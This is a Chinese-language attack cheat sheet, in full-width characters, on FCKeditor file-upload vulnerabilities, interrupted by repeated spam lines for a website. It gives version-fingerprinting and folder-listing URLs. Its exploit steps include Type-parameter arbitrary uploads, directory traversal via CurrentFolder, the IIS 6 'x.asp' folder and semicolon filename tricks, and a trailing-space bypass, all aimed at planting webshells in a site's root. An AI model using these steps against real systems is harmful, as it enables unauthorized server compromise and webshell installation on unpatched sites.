ＦＣＫｅｄｉｔｏｒ编辑器页／查看编辑器版本／查看文件上传路径ＦＣＫｅｄｉｔｏｒ编辑器页
ＦＣＫｅｄｉｔｏｒ／＿ｓａｍｐｌｅｓ／ｄｅｆａｕｌｔ．ｈｔｍｌ查看编辑器版本
ＦＣＫｅｄｉｔｏｒ／＿ｗｈａｔｓｎｅｗ．ｈｔｍｌ
查看文件上传路径
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ？Ｃｏｍｍａｎｄ＝ＧｅｔＦｏｌｄｅｒｓＡｎｄＦｉｌｅｓ＆Ｔｙｐｅ＝Ｉｍａｇｅ＆ＣｕｒｒｅｎｔＦｏｌｄｅｒ＝／
ＸＭＬ页面中第二行　“ｕｒｌ＝／ｘｘｘ”的部分就是默认基准上传路径
Ｎｏｔｅ：［Ｈｅｌｌ１］截至２０１０年０２月１５日最新版本为ＦＣＫｅｄｉｔｏｒ　ｖ２．６．６
        ［Ｈｅｌｌ２］记得修改其中两处ａｓｐ为ＦＣＫｅｄｉｔｏｒ实际使用的脚本语言
ＦＣＫｅｄｉｔｏｒ被动限制策略所导致的过滤不严问题
影响版本：　ＦＣＫｅｄｉｔｏｒ　ｘ．ｘ　＜＝　ＦＣＫｅｄｉｔｏｒ　ｖ２．４．３脆弱描述：
ＦＣＫｅｄｉｔｏｒ　ｖ２．４．３中Ｆｉｌｅ类别默认拒绝上传类型：
ｈｔｍｌ｜ｈｔｍ｜ｐｈｐ｜ｐｈｐ２｜ｐｈｐ３｜ｐｈｐ４｜ｐｈｐ５｜ｐｈｔｍｌ｜ｐｗｍｌ｜ｉｎｃ｜ａｓｐ｜ａｓｐｘ｜ａｓｃｘ｜ｊｓｐ｜ｃｆｍ｜ｃｆｃ｜ｐｌ｜ｂａｔ｜ｅｘｅ｜ｃｏｍ｜ｄｌｌ｜ｖｂｓ｜ｊｓ｜ｒｅｇ｜ｃｇｉ｜ｈｔａｃｃｅｓｓ｜ａｓｉｓ｜ｓｈ｜ｓｈｔｍｌ｜ｓｈｔｍ｜ｐｈｔｍ
Ｆｃｋｅｄｉｔｏｒ　２．０　＜＝　２．２允许上传ａｓａ、ｃｅｒ、ｐｈｐ２、ｐｈｐ４、ｉｎｃ、ｐｗｍｌ、ｐｈｔ后缀的文件
上传后　它保存的文件直接用的￥ｓＦｉｌｅＰａｔｈ　＝　￥ｓＳｅｒｖｅｒＤｉｒ　．　￥ｓＦｉｌｅＮａｍｅ，而没有使用￥ｓＥｘｔｅｎｓｉｏｎ为后缀直接导致在ｗｉｎ下在上传文件后面加个．来突破［未测试］
而在ａｐａｃｈｅ下，因为＂Ａｐａｃｈｅ文件名解析缺陷漏洞＂也可以利用之，详见＂附录Ａ＂
另建议其他上传漏洞中定义ＴＹＰＥ变量时使用Ｆｉｌｅ类别来上传文件，根据ＦＣＫｅｄｉｔｏｒ的代码，其限制最为狭隘。攻击利用：
月末分享 h t
t p
://w w w .y u e m o b a r .c o m
允许其他任何后缀上传
Ｎｏｔｅ：［Ｈｅｌｌ１］原作：ｈｔｔｐ：／／ｓｕｐｅｒｈｅｉ．ｂｌｏｇｂｕｓ．ｃｏｍ／ｌｏｇｓ／２００６／０２／１９１６０９１．ｈｔｍｌ
利用２００３路径解析漏洞上传网马影响版本：　附录Ｂ脆弱描述：
利用２００３系统路径解析漏洞的原理，创建类似“ｂｉｎ．ａｓｐ”如此一般的目录，再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。攻击利用：
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｂｒｏｗｓｅｒ．ｈｔｍｌ？Ｔｙｐｅ＝Ｉｍａｇｅ＆Ｃｏｎｎｅｃｔｏｒ＝ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ
editor版本ＦＣＫｅｄｉｔｏｒ　ＰＨＰ上传任意文件漏洞
影响版本：　ＦＣＫｅｄｉｔｏｒ　２．２　＜＝　ＦＣＫｅｄｉｔｏｒ　２．４．２脆弱描述：
ＦＣＫｅｄｉｔｏｒ在处理文件上传时存在输入验证错误，远程攻击可以利用此漏洞上传任意文件。
在通过ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｕｐｌｏａｄ／ｐｈｐ／ｕｐｌｏａｄ．ｐｈｐ上传文件时攻击者可以通过为Ｔｙｐｅ参数定义无效的值导致上传任意脚本。
成功攻击要求ｃｏｎｆｉｇ．ｐｈｐ配置文件中启用文件上传，而默认是禁用的。攻击利用：　（请修改ａｃｔｉｏｎ字段为指定网址）：
ＦＣＫｅｄｉｔｏｒ　《＝２．４．２　ｆｏｒ　ｐｈｐ．ｈｔｍｌ
Ｎｏｔｅ：如想尝试ｖ２．２版漏洞，则修改Ｔｙｐｅ＝任意值　即可，但注意，如果换回使用Ｍｅｄｉａ则必须大写首字母Ｍ，否则ＬＩＮＵＸ下，ＦＣＫｅｄｉｔｏｒ会对文件目录进行文件名校验，不会上传成功的。
ＴＹＰＥ自定义变量任意上传文件漏洞影响版本：　较早版本脆弱描述：
通过自定义Ｔｙｐｅ变量的参数，可以创建或上传文件到指定的目录中去，且没有上传文件格式的限制。
月末分享 h t
t p
://w w w .y u e m o b a r .c o m
攻击利用：　／ＦＣＫｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｂｒｏｗｓｅｒ．ｈｔｍｌ？Ｔｙｐｅ＝ａｌｌ＆Ｃｏｎｎｅｃｔｏｒ＝ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ
打开这个地址就可以上传任何类型的文件了，Ｓｈｅｌｌ上传到的默认位置是：ｈｔｔｐ：／／ｗｗｗ．ｈｅｉｍｉａｎ．ｃｏｍ／ＵｓｅｒＦｉｌｅｓ／ａｌｌ／１．ａｓｐ
＂Ｔｙｐｅ＝ａｌｌ＂　这个变量是自定义的，在这里创建了ａｌｌ这个目录，而且新的目录没有上传文件格式的限制．比如输入：
／ＦＣＫｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｂｒｏｗｓｅｒ．ｈｔｍｌ？Ｔｙｐｅ＝．．／＆Ｃｏｎｎｅｃｔｏｒ＝ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ网马就可以传到网站的根目录下．
Ｎｏｔｅ：　如不到默认上传文件夹可检查此文件：　
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ？Ｃｏｍｍａｎｄ＝ＧｅｔＦｏｌｄｅｒｓＡｎｄＦｉｌｅｓ＆Ｔｙｐｅ＝Ｉｍａｇｅ＆ＣｕｒｒｅｎｔＦｏｌｄｅｒ＝／
ＦＣＫｅｄｉｔｏｒ　新闻组件遍历目录漏洞
影响版本：ａｓｐｘ版ＦＣＫｅｄｉｔｏｒ，其余版本未测试
脆弱描述：如何获得ｗｅｂｓｈｅｌｌ请参考上文“ＴＹＰＥ自定义变量任意上传文件漏洞”攻击利用：
修改ＣｕｒｒｅｎｔＦｏｌｄｅｒ参数使用　．．／．．／来进入不同的目录／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ａｓｐｘ／ｃｏｎｎｅｃｔｏｒ．ａｓｐｘ？
Ｃｏｍｍａｎｄ＝ＣｒｅａｔｅＦｏｌｄｅｒ＆Ｔｙｐｅ＝Ｉｍａｇｅ＆ＣｕｒｒｅｎｔＦｏｌｄｅｒ＝．．／．．／．．％２Ｆ＆ＮｅｗＦｏｌｄｅｒＮａｍｅ＝ａｓｐｘ．ａｓｐ根据返回的ＸＭＬ信息可以查看网站所有的目录。／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ａｓｐｘ／ｃｏｎｎｅｃｔｏｒ．ａｓｐｘ？Ｃｏｍｍａｎｄ＝ＧｅｔＦｏｌｄｅｒｓＡｎｄＦｉｌｅｓ＆Ｔｙｐｅ＝Ｉｍａｇｅ＆ＣｕｒｒｅｎｔＦｏｌｄｅｒ＝％２ＦＦＣＫｅｄｉｔｏｒ中ｗｅｂｓｈｅｌｌ的其他上传方式影响版本：非优化／精简版本的ＦＣＫｅｄｉｔｏｒ脆弱描述：
如果存在以下文件，打开后即可上传文件。攻击利用：
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｕｐｌｏａｄ／ｔｅｓｔ．ｈｔｍｌ
月末分享 h t
t p
://w w w .y u e m o b a r .c o m
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ｔｅｓｔ．ｈｔｍｌＦＣＫｅｄｉｔｏｒ　文件上传“．”变“＿”下划线的绕过方法影响版本：　ＦＣＫｅｄｉｔｏｒ　＝＞　２．４．ｘ脆弱描述：
我们上传的文件例如：ｓｈｅｌｌ．ｐｈｐ．ｒａｒ或ｓｈｅｌｌ．ｐｈｐ；．ｊｐｇ会变为ｓｈｅｌｌ＿ｐｈｐ；．ｊｐｇ这是新版ＦＣＫ的变化。攻击利用：
提交１．ｐｈｐ＋空格　就可以绕过去所有的，
※不过空格只支持ｗｉｎ系统　＊ｎｉｘ是不支持的［１．ｐｈｐ和１．ｐｈｐ＋空格是２个不同的文件］
Ｎｏｔｅ：ｕｐｌｏａｄ／２０１０／３／２０１００３１０２３３４３７２７７８．ｊｐｇ　这样的格式做了过滤。也就是ＩＩＳ６解析漏洞。上传第一次。被过滤为１２３＿ａｓｐ；１２３．ｊｐｇ　从而无法运行。
但是第２次上传同名文件１２３．ａｓｐ；１２３．ｊｐｇ后。由于”１２３＿ａｓｐ；１２３．ｊｐｇ”已经存在。文件名被命名为１２３．ａｓｐ；１２３（１）．ｊｐｇ　……　１２３．ａｓｐ；１２３（２）．ｊｐｇ这样的编号方式。所以。ＩＩＳ６的漏洞继续执行了。
如果通过上面的步骤进行测试没有成功，可能有以下几方面的原因：
１．ＦＣＫｅｄｉｔｏｒ没有开启文件上传功能，这项功能在安装ＦＣＫｅｄｉｔｏｒ时默认是关闭的。如果想上传文件，ＦＣＫｅｄｉｔｏｒ会给出错误提示。
２．网站采用了精简版的ＦＣＫｅｄｉｔｏｒ，精简版的ＦＣＫｅｄｉｔｏｒ很多功能丢失，包括文件上传功能。３．ＦＣＫｅｄｉｔｏｒ的这个漏洞已经被修复。
月末分享 h t
t p
://w w w .y u e m o b a r .c o m